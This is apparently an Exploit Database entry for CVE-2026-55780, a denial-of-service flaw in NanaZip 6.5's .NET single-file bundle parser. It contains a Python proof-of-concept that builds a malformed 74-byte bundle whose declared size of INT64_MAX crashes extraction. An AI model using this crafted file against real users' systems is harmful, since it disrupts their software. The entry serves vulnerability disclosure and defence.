This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youâve provided to them or that theyâve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING NanaZip 6.5 - DoS EDB-ID: 52652 CVE: 2026-55780 EDB Verified: Author: JORGE GONZĂLEZ MILLA Type: DOS Exploit: / Platform: WINDOWS Date: 2026-08-17 Vulnerable App: # Exploit Title: NanaZip 6.5 - DoS # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge GonzĂĄlez Milla) # Vendor Homepage: https://github.com/M2Team/NanaZip # Software Link: https://github.com/M2Team/NanaZip/releases # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0) # Tested on: Windows # CVE: CVE-2026-55780 # Category: dos # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract(). NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but was not executed against a running build. Benign â it only generates the malformed carrier file. --- PoC generator (GHSA-ppm9-5267-rq72.py) --- #!/usr/bin/env python3 # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET # single-file Extract() (GHSA-ppm9-5267-rq72). # # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10 # preceded by an int64 bundle-header offset at offset 2, then a v1 header # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes # DotNetSingleFile::Extract run std::vector(Size) with no try/catch # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.) import struct SIG = bytes([ 0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38, 0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32, 0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18, 0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae, ]) HDR = 42 # bundle header offset buf = bytearray(74) buf[0:2] = b"MZ" buf[2:10] = struct.pack("<q", HDR) # int64 header offset (read at sig-8) buf[10:42] = SIG # signature at i = 10 o = HDR struct.pack_into("<I", buf, o, 1); o += 4 # MajorVersion = 1 (<2) struct.pack_into("<I", buf, o, 0); o += 4 # MinorVersion = 0 struct.pack_into("<i", buf, o, 1); o += 4 # NumberOfEmbeddedFiles = 1 buf[o] = 0; o += 1 # BundleIdLength = 0 struct.pack_into("<q", buf, o, HDR); o += 8 # Entry.Offset (>0) struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8 # Entry.Size = INT64_MAX buf[o] = 0; o += 1 # Entry.Type = 0 buf[o] = 0x01; o += 1 # RelativePathLength = 1 buf[o] = ord("a"); o += 1 # RelativePath = "a" with open("poc.bundle", "wb") as f: f.write(buf) print(len(buf), "bytes ->", "poc.bundle") Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
A crafted .NET single-file bundle triggers an uncaught exception and unbounded memory allocation in NanaZip's DotNetSingleFile handler, causing a denial-of-service (DoS) condition. The vulnerability affects NanaZip versions up to and including 6.5 Preview (6.5.1742.0). The issue is fixed in version 6.5.1749.0.